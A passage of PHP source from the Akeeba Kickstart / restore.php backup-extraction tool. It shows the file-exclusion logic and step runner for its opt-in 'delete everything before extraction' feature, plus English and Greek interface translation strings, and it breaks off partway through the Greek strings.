		 * Exclude Kickstart / restore.php itself. Otherwise it'd crash!
		 */
		$myName = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$ret[] = KSROOTDIR . '/' . $myName;

		/**
		 * Cheat: exclude the directory used in development (see source/buildscripts/kickstart_test.php)
		 *
		 * This directory contains the non-concatenated source code for Kickstart. We need to keep it protected.
		 */
		if (defined('MINIBUILD') && (MINIBUILD != $destDir))
		{
			$ret[] = TranslateWinPath(MINIBUILD);
		}

		/**
		 * Exclude the backup archive directory if it's not the site's root. This prevents mindlessly deleting all your
		 * backups before you restore from a previous backup which might not be the one you actually wanted. I will call
		 * this feature "clumsy-proofing".
		 */
		$backupArchive   = AKFactory::get('kickstart.setup.sourcefile');
		$backupDirectory = AKFactory::get('kickstart.setup.sourcepath');
		$backupDirectory = empty($backupDirectory) ? dirname($backupArchive) : $backupDirectory;

		if ($backupDirectory != $destDir)
		{
			$ret[] = TranslateWinPath($backupDirectory);
		}

		/**
		 * Exclude the backup archive files
		 *
		 * This obviously only makes sense when the backup archives are stored in the extraction target folder which is
		 * the most common use of Kickstart. In this case the backups folder is not excluded above.
		 */
		$plainBackupName = basename($backupArchive, '.jpa');
		$plainBackupName = basename($plainBackupName, '.jps');
		$plainBackupName = basename($plainBackupName, '.zip');
		$ret[]           = TranslateWinPath($backupDirectory . '/' . $plainBackupName) . '.*';

		/**
		 * Exclude Kickstart language files. Only applies in Kickstart mode.
		 */
		if (defined('KICKSTART'))
		{
			$langDir        = defined('KSLANGDIR') ? KSLANGDIR : KSROOTDIR;
			$myName         = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
			$iniFilePattern = basename($myName, '.php') . '.*.ini';

			if ($langDir != KSROOTDIR)
            {
                $ret[] = KSLANGDIR;
            }

            $ret[]   = $langDir . '/' . $iniFilePattern;
            $ret[]   = KSROOTDIR . '/' . $iniFilePattern;
		}

		// Exclude the Kickstart temporary directory, if one is used by the post-processing engine
		$postProc = AKFactory::getPostProc();
		$tempDir  = $postProc->getTempDir();

		if (!empty($tempDir) && (realpath($tempDir) != realpath($destDir)))
		{
			$ret[] = TranslateWinPath($tempDir);
		}

		/**
		 * Exclude the configured Skipped Files ('kickstart.setup.skipfiles'). Also exclude the various restoration.php
		 * files if we are in restore.php mode and the files are present. These are required for the integrated
		 * restoration to actually work :)
		 */
		$skippedFiles = AKFactory::get('kickstart.setup.skipfiles', [
			basename(__FILE__), 'kickstart.php', 'htaccess.bak', 'php.ini.bak',
		]);

		if (!defined('KICKSTART'))
		{
			// In restore.php mode we have to exclude the various restoration.php files
			$skippedFiles = array_merge([
				// Akeeba Backup for Joomla!
				'administrator/components/com_akeeba/restoration.php',
				'administrator/components/com_akeebabackup/restoration.php',
				// Joomla! Update
				'administrator/components/com_joomlaupdate/restoration.php',
				// Akeeba Backup for WordPress
				'wp-content/plugins/akeebabackupwp/app/restoration.php',
				'wp-content/plugins/akeebabackupcorewp/app/restoration.php',
				'wp-content/plugins/akeebabackup/app/restoration.php',
				'wp-content/plugins/akeebabackupwpcore/app/restoration.php',
				// Akeeba Solo
				'app/restoration.php',
			], $skippedFiles);
		}

		foreach ($skippedFiles as $file)
		{
			$checkFile = $destDir . '/' . $file;

			if (file_exists($checkFile))
			{
				$ret[] = TranslateWinPath($checkFile);
			}
		}

		/**
		 * Exclude .htaccess if the stealth feature is enabled. Otherwise we'd unset the stealth mode.
		 * Exclude it even if we have any AddHandler directive, otherwise the site will be borked if the user
		 * chooses not to rename the .htaccess file
		 */
		if (AKFactory::get('kickstart.stealth.enable') || AKFactory::get('kickstart.setup.phphandlers', []))
		{
			$ret[] = $destDir . '/.htaccess';
		}

		// Remove any duplicate lines
        $ret = array_unique($ret);

		return $ret;
	}

    /**
     * Recursively delete an empty folder and any of its empty parent folders.
     *
     * @param   string  $folder  The folder to deletes
     */
	private function deleteParentFolders($folder)
    {
        // Don't try to delete an empty folder or the filesystem root
        if (empty($folder) || ($folder == '/'))
        {
            return;
        }

        $folder = TranslateWinPath($folder);
        $root   = TranslateWinPath($this->root);

        // Don't try to delete the site's root
        if ($folder === $root)
        {
            return;
        }

        // Delete the leaf folder
        $postProc = AKFactory::getPostProc();
        $postProc->rmdir($folder);

        // If the leaf folder is not under the site's root don't delete its parents
        if (strpos($folder, $root) !== 0)
        {
            return;
        }

        // Get and recursively delete the parent folder
        $this->deleteParentFolders(dirname($folder));
    }
}

/**
 * Runs the Zapper and returns a status table. The Zapper only runs if the feature is enabled (kickstart.setup.zapbefore
 * is 1) and there are more Zapper steps to run (its state is not postrun). If any of these conditions is not met we
 * return boolean false.
 *
 * @param   AKAbstractPartObserver  $observer  The observer to attach to the Zapper instance
 *
 * @return  bool|array  Boolean false or a status array
 */
function runZapper(AKAbstractPartObserver $observer)
{
	// This method should only run in restore.php mode or when we have Kickstart Professional.
	$isKickstart = defined('KICKSTART');
	$isPro       = defined('KICKSTARTPRO') ? KICKSTARTPRO : false;
	$isDebug     = defined('KSDEBUG') ? KSDEBUG : false;

	if ($isKickstart && (!$isPro && !$isDebug))
	{
		return false;
	}

	// Is the feature enabled?
    $enabled = AKFactory::get('kickstart.setup.zapbefore', 0);

    if (!$enabled)
    {
        return false;
    }

    // Do I still have work to do?
    $zapper = AKFactory::getZapper();

    if ($zapper->getState() == 'finished')
    {
        return false;
    }

    // Attach the observer
    if (is_object($observer))
    {
        $zapper->attach($observer);
    }

    // Run a step, create and return a status array
	$timer = AKFactory::getTimer();

    while ($timer->getTimeLeft() > 0)
    {
	    $ret = $zapper->tick();

	    if ($ret['Error'] != '')
	    {
	    	break;
	    }
    }

    $retArray = [
        'status'  => true,
        'message' => null,
        'done' => false,
    ];

    if ($ret['Error'] != '')
    {
        $retArray['status']  = false;
        $retArray['done']    = true;
        $retArray['message'] = $ret['Error'];
    }
    else
    {
        $retArray['files']    = 0;
        $retArray['bytesIn']  = 0;
        $retArray['bytesOut'] = 0;
        $retArray['factory']  = AKFactory::serialize();
        $retArray['lastfile'] = 'Deleting: ' . $zapper->getSubstep();
    }

	$timer->enforce_min_exec_time();

    return $retArray;
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * A simple INI-based i18n engine
 */
class AKText extends AKAbstractObject
{
	/**
	 * The default (en_GB) translation used when no other translation is available
	 *
	 * @var array
	 */
	private $default_translation = array (
  'AUTOMODEON' => 'Auto-mode enabled',
  'ERR_NOT_A_JPA_FILE' => 'The file is not a JPA archive',
  'ERR_CORRUPT_ARCHIVE' => 'The archive file is corrupt, truncated or archive parts are missing',
  'ERR_INVALID_ARCHIVE_LONG' => 'The archive file appears to be corrupt, or archive parts are missing. If your backups consist of multiple files, please make sure that you have downloaded all the archive part files (files with the same name and extensions .%s, .%s01, .%2$s02…). Please make sure to download <em>and</em> upload files using SFTP, or FTP in Binary transfer mode and do check that their file size matches the sizes reported in the Manage Backups page of Akeeba Backup / Akeeba Solo.',
  'ERR_INVALID_LOGIN' => 'Invalid login',
  'COULDNT_CREATE_DIR' => 'Could not create %s folder',
  'COULDNT_WRITE_FILE' => 'Could not open %s for writing.',
  'WRONG_FTP_HOST' => 'Wrong FTP host or port',
  'WRONG_FTP_USER' => 'Wrong FTP username or password',
  'WRONG_FTP_PATH1' => 'Wrong FTP initial directory - the directory doesn\'t exist',
  'FTP_CANT_CREATE_DIR' => 'Could not create directory %s',
  'FTP_TEMPDIR_NOT_WRITABLE' => 'Could not find or create a writable temporary directory',
  'SFTP_TEMPDIR_NOT_WRITABLE' => 'Could not find or create a writable temporary directory',
  'FTP_COULDNT_UPLOAD' => 'Could not upload %s',
  'THINGS_HEADER' => 'Things you should know about Akeeba Kickstart',
  'THINGS_01' => 'Kickstart is not an installer. It is an archive extraction tool. The actual installer was put inside the archive file at backup time.',
  'THINGS_03' => 'Kickstart is bound by your server\'s configuration. As such, it may not work at all.',
  'THINGS_04' => 'You should download and upload your archive files using FTP in Binary transfer mode. Any other method could lead to a corrupt backup archive and restoration failure.',
  'THINGS_05' => 'Post-restoration site load errors are usually caused by .htaccess or php.ini directives. You should understand that blank pages, 404 and 500 errors can usually be worked around by editing the aforementioned files. It is not our job to mess with your configuration files, because this could be dangerous for your site.',
  'THINGS_06' => 'Kickstart overwrites files without a warning. If you are not sure that you are OK with that do not continue.',
  'THINGS_07' => 'Trying to restore to the temporary URL of a cPanel host (e.g. http://1.2.3.4/~username) will lead to restoration failure and your site will appear to be not working. This is normal and it\'s just how your server and CMS software work.',
  'THINGS_08' => 'You are supposed to read the documentation before using this software. Most issues can be avoided, or easily worked around, by understanding how this software works.',
  'THINGS_09' => 'This text does not imply that there is a problem detected. It is standard text displayed every time you launch Kickstart.',
  'CLOSE_LIGHTBOX' => 'Click here or press ESC to close this message',
  'SELECT_ARCHIVE' => 'Select a backup archive',
  'ARCHIVE_FILE' => 'Archive file:',
  'SELECT_EXTRACTION' => 'Select an extraction method',
  'WRITE_TO_FILES' => 'Write to files:',
  'WRITE_HYBRID' => 'Hybrid (use FTP only if needed)',
  'WRITE_DIRECTLY' => 'Directly',
  'WRITE_FTP' => 'Use FTP for all files',
  'WRITE_SFTP' => 'Use SFTP for all files',
  'FTP_HOST' => '(S)FTP host name:',
  'FTP_PORT' => '(S)FTP port:',
  'FTP_FTPS' => 'Use FTP over SSL (FTPS)',
  'FTP_PASSIVE' => 'Use FTP Passive Mode',
  'FTP_USER' => '(S)FTP username:',
  'FTP_PASS' => '(S)FTP password:',
  'FTP_DIR' => '(S)FTP directory:',
  'FTP_TEMPDIR' => 'Temporary directory:',
  'FTP_CONNECTION_OK' => 'FTP Connection Established',
  'SFTP_CONNECTION_OK' => 'SFTP Connection Established',
  'FTP_CONNECTION_FAILURE' => 'The FTP Connection Failed',
  'SFTP_CONNECTION_FAILURE' => 'The SFTP Connection Failed',
  'FTP_TEMPDIR_WRITABLE' => 'The temporary directory is writable.',
  'FTP_TEMPDIR_UNWRITABLE' => 'The temporary directory is not writable. Please check the permissions.',
  'FTP_BROWSE' => 'Browse',
  'FTPBROWSER_LBL_INSTRUCTIONS' => 'Click on a directory to navigate into it. Click on OK to select that directory, Cancel to abort the procedure.',
  'FTPBROWSER_ERROR_HOSTNAME' => 'Invalid FTP host or port',
  'FTPBROWSER_ERROR_USERPASS' => 'Invalid FTP username or password',
  'FTPBROWSER_ERROR_NOACCESS' => 'Directory doesn\'t exist or you don\'t have enough permissions to access it',
  'FTPBROWSER_ERROR_UNSUPPORTED' => 'Sorry, your FTP server doesn\'t support our FTP directory browser.',
  'FTPBROWSER_LBL_GOPARENT' => '&lt;up one level&gt;',
  'FTPBROWSER_LBL_ERROR' => 'An error occurred',
  'SFTP_NO_SSH2' => 'Your web server does not have the SSH2 PHP module, therefore cannot connect to SFTP servers.',
  'SFTP_NO_FTP_SUPPORT' => 'Your SSH server does not allow SFTP connections',
  'SFTP_WRONG_USER' => 'Wrong SFTP username or password',
  'SFTP_WRONG_STARTING_DIR' => 'You must supply a valid absolute path',
  'SFTPBROWSER_ERROR_NOACCESS' => 'Directory doesn\'t exist or you don\'t have enough permissions to access it',
  'SFTP_COULDNT_UPLOAD' => 'Could not upload %s',
  'SFTP_CANT_CREATE_DIR' => 'Could not create directory %s',
  'UI-ROOT' => '&lt;root&gt;',
  'CONFIG_UI_FTPBROWSER_TITLE' => 'FTP Directory Browser',
  'BTN_CHECK' => 'Check',
  'BTN_RESET' => 'Reset',
  'BTN_TESTFTPCON' => 'Test FTP Connection',
  'BTN_TESTSFTPCON' => 'Test SFTP Connection',
  'BTN_GOTOSTART' => 'Start over',
  'BTN_RETRY' => 'Retry',
  'FINE_TUNE' => 'Fine-tune',
  'MIN_EXEC_TIME' => 'Minimum execution time:',
  'MAX_EXEC_TIME' => 'Maximum execution time:',
  'SECONDS_PER_STEP' => 'seconds per step',
  'EXTRACT_FILES' => 'Extract files',
  'BTN_START' => 'Start',
  'EXTRACTING' => 'Extracting',
  'DO_NOT_CLOSE_EXTRACT' => 'Do not close this window while the extraction is in progress',
  'RESTACLEANUP' => 'Restoration and Clean Up',
  'BTN_RUNINSTALLER' => 'Run the Installer',
  'BTN_CLEANUP' => 'Clean Up',
  'BTN_SITEFE' => 'Visit your site\'s frontend',
  'BTN_SITEBE' => 'Visit your site\'s backend',
  'WARNINGS' => 'Extraction Warnings',
  'ERROR_OCCURED' => 'An error occurred',
  'STEALTH_MODE' => 'Stealth mode',
  'STEALTH_URL' => 'HTML file to show to web visitors',
  'ERR_NOT_A_JPS_FILE' => 'The file is not a JPS archive',
  'ERR_INVALID_JPS_PASSWORD' => 'The password you gave is wrong or the archive is corrupt',
  'JPS_PASSWORD' => 'Archive Password (for JPS files)',
  'INVALID_FILE_HEADER_OFFSET_ZERO' => 'Cannot open the file %s for reading. This is part #%d of your backup archive which consists of multiple files (files with the same name and extensions .%s, .%s01, .%4$s02…). Please make sure that you have all of these files in the same folder as Kickstart.',
  'INVALID_FILE_HEADER' => 'Invalid header in archive file, part %s, offset %s. Please make sure to download <em>and</em> upload backup archive files using SFTP, or FTP in Binary transfer mode and do check that their file size matches the sizes reported in the Manage Backups page of Akeeba Backup / Akeeba Solo.',
  'INVALID_FILE_HEADER_MULTIPART' => 'Invalid header in archive file, part %s, offset %s. Your backup archive consists of multiple files (files with the same name and extensions .%s, .%s01, .%4$s02…). Either some files are missing, or they are corrupt or truncated. You will need all of these files to be present in the same directory. Please make sure to download <em>and</em> upload backup archive files using SFTP, or FTP in Binary transfer mode and do check that their file size matches the sizes reported in the Manage Backups page of Akeeba Backup / Akeeba Solo.',
  'UPDATE_HEADER' => 'An updated version of Akeeba Kickstart (<span id=update-version>unknown</span>) is available!',
  'UPDATE_NOTICE' => 'You are advised to always use the latest version of Akeeba Kickstart available. Older versions may be subject to bugs and will not be supported.',
  'UPDATE_DLNOW' => 'Download now',
  'UPDATE_MOREINFO' => 'More information',
  'NEEDSOMEHELPKS' => 'Want some help to use this tool? Read this first:',
  'QUICKSTART' => 'Quick Start Guide',
  'CANTGETITTOWORK' => 'Can\'t get it to work? Click me!',
  'NOARCHIVESCLICKHERE' => 'No archives detected. Click here for troubleshooting instructions.',
  'POSTRESTORATIONTROUBLESHOOTING' => 'Something not working after the restoration? Click here for troubleshooting instructions.',
  'IGNORE_MOST_ERRORS' => 'Ignore most errors',
  'TIME_SETTINGS_HELP' => 'Increase the minimum to 3 if you get AJAX errors. Increase the maximum to 10 for faster extraction, decrease back to 5 if you get AJAX errors. Try minimum 5, maximum 1 (not a typo!) if you keep getting AJAX errors.',
  'STEALTH_MODE_HELP' => 'When enabled, only visitors from your IP address will be able to see the site until the restoration is complete. Everyone else will be redirected to and only see the URL above. Your server must see the real IP of the visitor (this is controlled by your host, not you or us).',
  'RENAME_FILES_HELP' => 'Renames .htaccess, web.config, php.ini and .user.ini contained in the archive while extracting. Files are renamed with a .bak extension. The file names are restored when you click on Clean Up.',
  'RESTORE_PERMISSIONS_HELP' => 'Applies the file permissions (but NOT file ownership) which were stored at backup time. Only works with JPA and JPS archives. Does not work on Windows (PHP does not offer such a feature).',
  'EXTRACT_LIST' => 'Files to extract',
  'EXTRACT_LIST_HELP' => 'Enter a file path such as <code>images/cat.png</code> or shell pattern such as <code>images/*.png</code> on each line. Only files matching this list will be written to disk. Leave empty to extract everything (default).',
  'AKS3_IMPORT' => 'Import from Amazon S3',
  'AKS3_TITLE_STEP1' => 'Connect to Amazon S3',
  'AKS3_ACCESS' => 'Access Key',
  'AKS3_SECRET' => 'Secret Key',
  'AKS3_CONNECT' => 'Connect to Amazon S3',
  'AKS3_CANCEL' => 'Cancel import',
  'AKS3_TITLE_STEP2' => 'Select your Amazon S3 bucket',
  'AKS3_BUCKET' => 'Bucket',
  'AKS3_LISTCONTENTS' => 'List contents',
  'AKS3_TITLE_STEP3' => 'Select archive to import',
  'AKS3_FOLDERS' => 'Folders',
  'AKS3_FILES' => 'Archive Files',
  'AKS3_TITLE_STEP4' => 'Importing...',
  'AKS3_DO_NOT_CLOSE' => 'Please do not close this window while your backup archives are being imported',
  'AKS3_TITLE_STEP5' => 'Import is complete',
  'AKS3_BTN_RELOAD' => 'Reload Kickstart',
  'WRONG_FTP_PATH2' => 'Wrong FTP initial directory - the directory doesn\'t correspond to your site\'s web root',
  'ARCHIVE_DIRECTORY' => 'Archive directory:',
  'RELOAD_ARCHIVES' => 'Reload',
  'CONFIG_UI_SFTPBROWSER_TITLE' => 'SFTP Directory Browser',
  'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'Could not open archive part file %s for reading. Check that the file exists, is readable by the web server and is not in a directory made out of reach by chroot, open_basedir restrictions or any other restriction put in place by your host.',
  'RENAME_FILES' => 'Rename server configuration files before extraction',
  'BTN_SHOW_FINE_TUNE' => 'Show advanced options (for experts)',
  'RESTORE_PERMISSIONS' => 'Restore file permissions',
  'ZAPBEFORE' => 'Delete everything before extraction',
  'ZAPBEFORE_HELP' => 'Tries to delete all existing files and folders under the directory where Kickstart is stored before extracting the backup archive. It DOES NOT take into account which files and folders exist in the backup archive. Files and folders deleted by this feature CAN NOT be recovered. <strong>WARNING! THIS MAY DELETE FILES AND FOLDERS WHICH DO NOT BELONG TO YOUR SITE. USE WITH EXTREME CAUTION. BY ENABLING THIS FEATURE YOU ASSUME ALL RESPONSIBILITY AND LIABILITY.</strong>',
);

	/**
	 * Translation strings for el-GR
	 *
	 * @var  array
	 */
	private $translation_el_gr = array (
  'AUTOMODEON' => 'Ο αυτόματος τρόπος λειτουργίας ενεργοποιήθηκε',
  'ERR_NOT_A_JPA_FILE' => 'Το αρχείο δεν είναι αρχείο αρχειοθέτησης JPA',
  'ERR_CORRUPT_ARCHIVE' => 'Το αρχείο αρχειοθέτησης είναι κατεστραμμένο, τετμημένο ή λείπουν τμήματα του αρχείου αρχειοθέτησης',
  'ERR_INVALID_ARCHIVE_LONG' => 'Το αρχείο αρχειοθέτησης φαίνεται να είναι κατεστραμμένο ή λείπουν τμήματα. Αν τα αντίγραφα ασφαλείας σας αποτελούνται από πολλαπλά αρχεία, βεβαιωθείτε ότι έχετε κατεβάσει όλα τα αρχεία τμημάτων αρχειοθέτησης (αρχεία με το ίδιο όνομα και επεκτάσεις .%s, .%s01, .%2$s02…). Βεβαιωθείτε ότι κατεβάσατε <em>και</em> ανεβάσατε τα αρχεία χρησιμοποιώντας SFTP, ή FTP σε λειτουργία μεταφοράς Binary και ελέγξατε ότι το μέγεθός τους ταιριάζει με τα μεγέθη που αναφέρονται στη σελίδα Διαχείριση Αντιγράφων Ασφαλείας του Akeeba Backup / Akeeba Solo.',
  'ERR_INVALID_LOGIN' => 'Μη έγκυρη σύνδεση',
  'COULDNT_CREATE_DIR' => 'Αδυναμία δημιουργίας του φακέλου %s',
  'COULDNT_WRITE_FILE' => 'Αδυναμία ανοίγματος του %s για εγγραφή.',
  'WRONG_FTP_HOST' => 'Λάθος FTP host ή port',
  'WRONG_FTP_USER' => 'Λάθος όνομα χρήστη ή κωδικός πρόσβασης FTP',
  'WRONG_FTP_PATH1' => 'Λάθος αρχικός φάκελος FTP - ο φάκελος δεν υπάρχει',
  'FTP_CANT_CREATE_DIR' => 'Αδυναμία δημιουργίας φακέλου %s',
  'FTP_TEMPDIR_NOT_WRITABLE' => 'Αδυναμία εύρεσης ή δημιουργίας εγγράψιμου προσωρινού φακέλου',
  'SFTP_TEMPDIR_NOT_WRITABLE' => 'Αδυναμία εύρεσης ή δημιουργίας εγγράψιμου προσωρινού φακέλου',
  'FTP_COULDNT_UPLOAD' => 'Αδυναμία ανέβασματος του %s',
  'THINGS_HEADER' => 'Πράγματα που πρέπει να γνωρίζετε για το Akeeba Kickstart',
  'THINGS_01' => 'Το Kickstart δεν είναι πρόγραμμα εγκατάστασης. Είναι ένα εργαλείο εξαγωγής αρχείων αρχειοθέτησης. Το πραγματικό πρόγραμμα εγκατάστασης τοποθετήθηκε μέσα στο αρχείο αρχειοθέτησης κατά την ώρα δημιουργίας του αντιγράφου ασφαλείας.',
  'THINGS_03' => 'Το Kickstart περιορίζεται από τη διαμόρφωση του server σας. Ως εκ τούτου, ενδέχεται να μην λειτουργεί καθόλου.',
  'THINGS_04' => 'Πρέπει να κατεβάσετε και να ανεβάσετε τα αρχεία αρχειοθέτησης χρησιμοποιώντας FTP σε λειτουργία μεταφοράς Binary. Οποιαδήποτε άλλη μέθοδος μπορεί να οδηγήσει σε κατεστραμμένο αρχείο αρχειοθέτησης αντιγράφου ασφαλείας και αποτυχία αποκατάστασης.',
  'THINGS_05' => 'Σφάλματα φόρτωσης του ιστότοπου μετά την αποκατάσταση συνήθως προκαλούνται από οδηγούς .htaccess ή php.ini. Πρέπει να κατανοήσετε ότι οι κενές σελίδες, τα σφάλματα 404 και 500 συνήθως μπορούν να παρακαμφθούν με επεξεργασία των προαναφερθέντων αρχείων. Δεν είναι εργασία μας να αλλάξουμε τα αρχεία διαμόρφωσής σας, επειδή αυτό μπορεί να είναι επικίνδυνο για τον ιστότοπό σας.',
  'THINGS_06' => 'Το Kickstart αντικαθιστά αρχεία χωρίς προειδοποίηση. Αν δεν είστε σίγουροι ότι αυτό σας πειράζει, μην συνεχίσετε.',
  'THINGS_07' => 'Η προσπάθεια αποκατάστασης στο προσωρινό URL ενός host cPanel (π.χ. http://1.2.3.4/~username) θα οδηγήσει σε αποτυχία αποκατάστασης και ο ιστότοπός σας θα φαίνεται να μην λειτουργεί. Αυτό είναι φυσιολογικό και οφείλεται στον τρόπο λειτουργίας του server και του λογισμικού CMS σας.',
  'THINGS_08' => 'Πρέπει να διαβάσετε την τεκμηρίωση πριν χρησιμοποιήσετε αυτό το λογισμικό. Τα περισσότερα προβλήματα μπορούν να αποφευχθούν, ή εύκολα να παρακαμφθούν, κατανοώντας πώς λειτουργεί αυτό το λογισμικό.',
  'THINGS_09' => 'Αυτό το κείμενο δεν υποδηλώνει ότι εντοπίστηκε πρόβλημα. Είναι προεπιλεγμένο κείμενο που εμφανίζεται κάθε φορά που εκκινείτε το Kickstart.',
  'CLOSE_LIGHTBOX' => 'Κάντε κλικ εδώ ή πατήστε ESC για να κλείσετε αυτό το μήνυμα',
  'SELECT_ARCHIVE' => 'Επιλέξτε ένα αρχείο αρχειοθέτησης αντιγράφου ασφαλείας',
  'ARCHIVE_FILE' => 'Αρχείο αρχειοθέτησης:',
  'SELECT_EXTRACTION' => 'Επιλέξτε μια μέθοδο εξαγωγής',
  'WRITE_TO_FILES' => 'Εγγραφή σε αρχεία:',
  'WRITE_HYBRID' => 'Υβριδική (χρήση FTP μόνο όταν χρειάζεται)',
  'WRITE_DIRECTLY' => 'Απευθείας',
  'WRITE_FTP' => 'Χρήση FTP για όλα τα αρχεία',
  'WRITE_SFTP' => 'Χρήση SFTP για όλα τα αρχεία',
  'FTP_HOST' => 'Όνομα (S)FTP host:',
  'FTP_PORT' => '(S)FTP port:',
  'FTP_FTPS' => 'Χρήση FTP μέσω SSL (FTPS)',
  'FTP_PASSIVE' => 'Χρήση FTP Passive Mode',
  'FTP_USER' => 'Όνομα χρήστη (S)FTP:',
  'FTP_PASS' => 'Κωδικός πρόσβασης (S)FTP:',
  'FTP_DIR' => 'Φάκελος (S)FTP:',
  'FTP_TEMPDIR' => 'Προσωρινός φάκελος:',
  'FTP_CONNECTION_OK' => 'Η σύνδεση FTP δημιουργήθηκε',
  'SFTP_CONNECTION_OK' => 'Η σύνδεση SFTP δημιουργήθηκε',
  'FTP_CONNECTION_FAILURE' => 'Αποτυχία σύνδεσης FTP',
  'SFTP_CONNECTION_FAILURE' => 'Αποτυχία σύνδεσης SFTP',
  'FTP_TEMPDIR_WRITABLE' => 'Ο προσωρινός φάκελος είναι εγγράψιμος.',
  'FTP_TEMPDIR_UNWRITABLE' => 'Ο προσωρινός φάκελος δεν είναι εγγράψιμος. Ελέγξτε τα δικαιώματα πρόσβασης.',
  'FTP_BROWSE' => 'Περιήγηση',
  'FTPBROWSER_LBL_INSTRUCTIONS' => 'Κάντε κλικ σε έναν φάκελο για να πλοηγηθείτε μέσα του. Κάντε κλικ στο OK για να επιλέξετε αυτόν τον φάκελο, Cancel για να ακυρώσετε τη διαδικασία.',
  'FTPBROWSER_ERROR_HOSTNAME' => 'Μη έγκυρο FTP host ή port',
  'FTPBROWSER_ERROR_USERPASS' => 'Μη έγκυρο όνομα χρήστη ή κωδικός πρόσβασης FTP',
  'FTPBROWSER_ERROR_NOACCESS' => 'Ο φάκελος δεν υπάρχει ή δεν έχετε αρκετά δικαιώματα για πρόσβαση',
  'FTPBROWSER_ERROR_UNSUPPORTED' => 'Λυπούμαστε, ο FTP server σας δεν υποστηρίζει τον περιηγητή φακέλων FTP.',
  'FTPBROWSER_LBL_GOPARENT' => '&lt;ένας βαθμός πάνω&gt;',
  'FTPBROWSER_LBL_ERROR' => 'Προέκυψε σφάλμα',
  'SFTP_NO_SSH2' => 'Ο web server σας δεν διαθέτει το module PHP SSH2, επομένως δεν μπορεί να συνδεθεί με servers SFTP.',
  'SFTP_NO_FTP_SUPPORT' => 'Ο SSH server σας δεν επιτρέπει συνδέσεις SFTP',
  'SFTP_WRONG_USER' => 'Λάθος όνομα χρήστη ή κωδικός πρόσβασης SFTP',
  'SFTP_WRONG_STARTING_DIR' => 'Πρέπει να παρέχετε μια έγκυρη απόλυτη διαδρομή',
  'SFTPBROWSER_ERROR_NOACCESS' => 'Ο φάκελος δεν υπάρχει ή δεν έχετε αρκετά δικαιώματα για πρόσβαση',
  'SFTP_COULDNT_UPLOAD' => 'Αδυναμία ανέβασματος του %s',
  'SFTP_CANT_CREATE_DIR' => 'Αδυναμία δημιουργίας φακέλου %s',
  'UI-ROOT' => '&lt;ρίζα&gt;',
  'CONFIG_UI_FTPBROWSER_TITLE' => 'Περιηγητής φακέλων FTP',
  'BTN_CHECK' => 'Έλεγχος',
  'BTN_RESET' => 'Επαναφορά',
  'BTN_TESTFTPCON' => 'Δοκιμή σύνδεσης FTP',
  'BTN_TESTSFTPCON' => 'Δοκιμή σύνδεσης SFTP',
  'BTN_GOTOSTART' => 'Επανεκκίνηση',
  'BTN_RETRY' => 'Επανάληψη',
  'FINE_TUNE' => 'Λεπτή ρύθμιση',
  'MIN_EXEC_TIME' => 'Ελάχιστος χρόνος εκτέλεσης:',
  'MAX_EXEC_TIME' => 'Μέγιστος χρόνος εκτέλεσης:',
  'SECONDS_PER_STEP' => 'δευτερόλεπτα ανά βήμα',
  'EXTRACT_FILES' => 'Εξαγωγή αρχείων',
  'BTN_START' => 'Έναρξη',
  'EXTRACTING' => 'Εξαγωγή σε εξέλιξη',
  'DO_NOT_CLOSE_EXTRACT' => 'Μην κλείσετε αυτό το παράθυρο ενώ η εξαγωγή βρίσκεται σε εξέλιξη',
  'RESTACLEANUP' => 'Αποκατάσταση και Καθαρισμός',
  'BTN_RUNINSTALLER' => 'Εκτέλεση του προγράμματος εγκατάστασης',
  'BTN_CLEANUP' => 'Καθαρισμός',
  'BTN_SITEFE' => 'Επίσκεψη στο frontend του ιστότοπου',
  'BTN_SITEBE' => 'Επίσκεψη στο backend του ιστότοπου',
  'WARNINGS' => 'Προειδοποιήσεις εξαγωγής',
  'ERROR_OCCURED' => 'Προέκυψε σφάλμα',
  'STEALTH_MODE' => 'Λανθάνων τρόπος λειτουργίας',
  'STEALTH_URL' => 'Αρχείο HTML που θα εμφανίζεται στους επισκέπτες του ιστότοπου',
  'ERR_NOT_A_JPS_FILE' => 'Το αρχείο δεν είναι αρχείο αρχειοθέτησης JPS',
  'ERR_INVALID_JPS_PASSWORD' => 'Ο κωδικός πρόσβασης που δώσατε είναι λάθος ή το αρχείο αρχειοθέτησης είναι κατεστραμμένο',
  'JPS_PASSWORD' => 'Κωδικός πρόσβασης αρχείου αρχειοθέτησης (για αρχεία JPS)',
  'INVALID_FILE_HEADER_OFFSET_ZERO' => 'Αδυναμία ανοίγματος του αρχείου %s για ανάγνωση. Αυτό είναι το τμήμα #%d του αρχείου αρχειοθέτησης αντιγράφου ασφαλείας που αποτελείται από πολλαπλά αρχεία (αρχεία με το ίδιο όνομα και επεκτάσεις .%s, .%s01, .%4$s02…). Βεβαιωθείτε ότι έχετε όλα αυτά τα αρχεία στον ίδιο φάκελο με το Kickstart.',
  'INVALID_FILE_HEADER' => 'Μη έγκυρο header στο αρχείο αρχειοθέτησης, τμήμα %s, offset %s. Βεβαιωθείτε ότι κατεβάσατε <em>και</em> ανεβάσατε τα αρχεία αρχειοθέτησης αντιγράφου ασφαλείας χρησιμοποιώντας SFTP, ή FTP σε λειτουργία μεταφοράς Binary και ελέγξατε ότι το μέγεθός τους ταιριάζει με τα μεγέθη που αναφέρονται στη σελίδα Διαχείριση Αντιγράφων Ασφαλείας του Akeeba Backup / Akeeba Solo.',
